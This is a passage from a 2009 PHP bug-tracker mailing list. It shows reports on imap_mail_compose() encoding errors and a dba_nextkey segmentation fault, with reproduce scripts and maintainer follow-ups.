version also. And HEAD is not that necessary at the moment, we can be 
quite sure it exists there if it exists in PHP_5_3. :) I updated the 
versions now. Please do same in other reports from now on. 



[2009-05-10 07:43:01] carsten_sttgt at gmx dot de

 Please try using this CVS snapshot:

I have test the above with:
Version: 5.3.0RC3-dev Thu, 07 May 2009 13:08:08 +
Version: 5.2.10-dev Thu, 07 May 2009 11:42:06 +0100
(the latest binary snapshots which are available for VC6 x86 Thread
Safe)

(and my normal PHP 5.2.9 VC6 x86 Thread Safe)

Can't test with:
Version: 6.0.0-dev Thu, 07 May 2009 11:30:12 +
because php_imap.dll is missing in the zip.



[2009-05-09 11:51:12] carsten_sttgt at gmx dot de

Description:

Hello,

from my understanding, and if I read RFC2045-sec6.2,
imap_mail_compose() is working in a wrong way. From RFC2045:
- With binary, 8bit and 7bit no transforming is done.

- With quoted-printable and base64, the data is transformed
  to 7bit, according to the selected encoding type.

The behavior from imap_mail_compose():
- with ENC7BIT no Content-Transfer-Encoding header is set
 (ok, that's the same. maybe correct)

- with ENC8BIT, the Content-Transfer-Encoding changes to
  quoted-printable and the data is transfomed (wrong)

- with ENCBINARY, the Content-Transfer-Encoding changes to
  base64 and the data is transfomed (wrong)

- with ENCBASE64, the Content-Transfer-Encoding is base64
  and the data is transfomed (correct)

- with ENCQUOTEDPRINTABLE, the Content-Transfer-Encoding is
  quoted-printable and the data is transfomed (correct)

- ENCOTHER is imho not really useful (especially if I can't
  set the name (foo) in x-foo).

Then I've tried to set the value for the Content-Transfer-Encoding
header on my own:
- with binary, no Content-Transfer-Encoding header is set

- with 8bit (or 7bit), I have a segmentation fault (PHP crashes).

Regards,
Carsten



Reproduce code:
---
?php
$data8bit = 'a german umlaut ä.';
$data7bit = 'just a text in us-ascii.';
$body = array();

$i = 0;
$body[++$i] = array(
'type'= TYPEMULTIPART,
'subtype' = 'mixed'
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'us-ascii',
'encoding' = ENC7BIT,
'contents.data'= $data7bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = ENC8BIT,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' =  ENCBINARY,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = ENCBASE64,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = ENCQUOTEDPRINTABLE ,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = 'binary',
'contents.data'= $data8bit
);

//$body[++$i] = array(
//'type' = TYPETEXT,
//'charset'  = 'iso-8859-1',
//'encoding' = '8bit' ,
//'contents.data'= $data8bit
//);

echo imap_mail_compose(array(), $body);
?


Expected result:

MIME-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY=62-22384-1241869364=:9856

--62-22384-1241869364=:9856
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-Transfer-Encoding: 7BIT

just a text in us-ascii.
--62-22384-1241869364=:9856
Content-Type: TEXT/PLAIN; CHARSET=iso-8859-1
Content-Transfer-Encoding: 8BIT

a german umlaut ä.

#48240 [NEW]: DBA Segmentation fault dba_nextkey

2009-05-11 Thread VJTD3 at VJTD3 dot com
From: VJTD3 at VJTD3 dot com
Operating system: linux redhat fedora 10
PHP version:  5.2.9
PHP Bug Type: DBM/DBA related
Bug description:  DBA Segmentation fault dba_nextkey

Description:

DBA Segmentation fault on function dba_nextkey without dba_firstkey before
dba_nextkey.

Reproduce code:
---
./configure --enable-dba --with-db4 --disable-libxml --disable-dom
--disable-simplexml --disable-libxml --disable-xml --disable-xmlreader
--disable-xmlwriter --without-pear

?php
 $dba = dba_open('database', 'r', 'db4');
 $key = dba_nextkey($dba);
 echo $key.':'.dba_fetch($key, $dba).\n;
?

db4-4.7.25-7

Expected result:

the first key by default or at least a error vs seg fault. (yes, i know
dba_firstkey should be before dba_nextkey however segfaults are probably
not a good reaction, defaulting to the first record or a error is
better...)

Actual result:
--
seg fault

-- 
Edit bug report at http://bugs.php.net/?id=48240edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=48240r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=48240r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=48240r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=48240r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=48240r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=48240r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=48240r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=48240r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=48240r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=48240r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=48240r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=48240r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=48240r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=48240r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=48240r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=48240r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=48240r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=48240r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=48240r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=48240r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=48240r=mysqlcfg



#48240 [Opn-Fbk]: DBA Segmentation fault dba_nextkey

2009-05-11 Thread jani
 ID:   48240
 Updated by:   j...@php.net
 Reported By:  VJTD3 at VJTD3 dot com
-Status:   Open
+Status:   Feedback
 Bug Type: DBM/DBA related
 Operating System: linux redhat fedora 10
 PHP Version:  5.2.9
 New Comment:

Could you provide a test db (or does this happen with any?) somewhere?
And/or a gdb backtrace of the crash?


Previous Comments:


[2009-05-12 03:29:22] VJTD3 at VJTD3 dot com

Description:

DBA Segmentation fault on function dba_nextkey without dba_firstkey
before dba_nextkey.

Reproduce code:
---
./configure --enable-dba --with-db4 --disable-libxml --disable-dom
--disable-simplexml --disable-libxml --disable-xml --disable-xmlreader
--disable-xmlwriter --without-pear

?php
 $dba = dba_open('database', 'r', 'db4');
 $key = dba_nextkey($dba);
 echo $key.':'.dba_fetch($key, $dba).\n;
?

db4-4.7.25-7

Expected result:

the first key by default or at least a error vs seg fault. (yes, i know
dba_firstkey should be before dba_nextkey however segfaults are probably
not a good reaction, defaulting to the first record or a error is
better...)

Actual result:
--
seg fault





-- 
Edit this bug report at http://bugs.php.net/?id=48240edit=1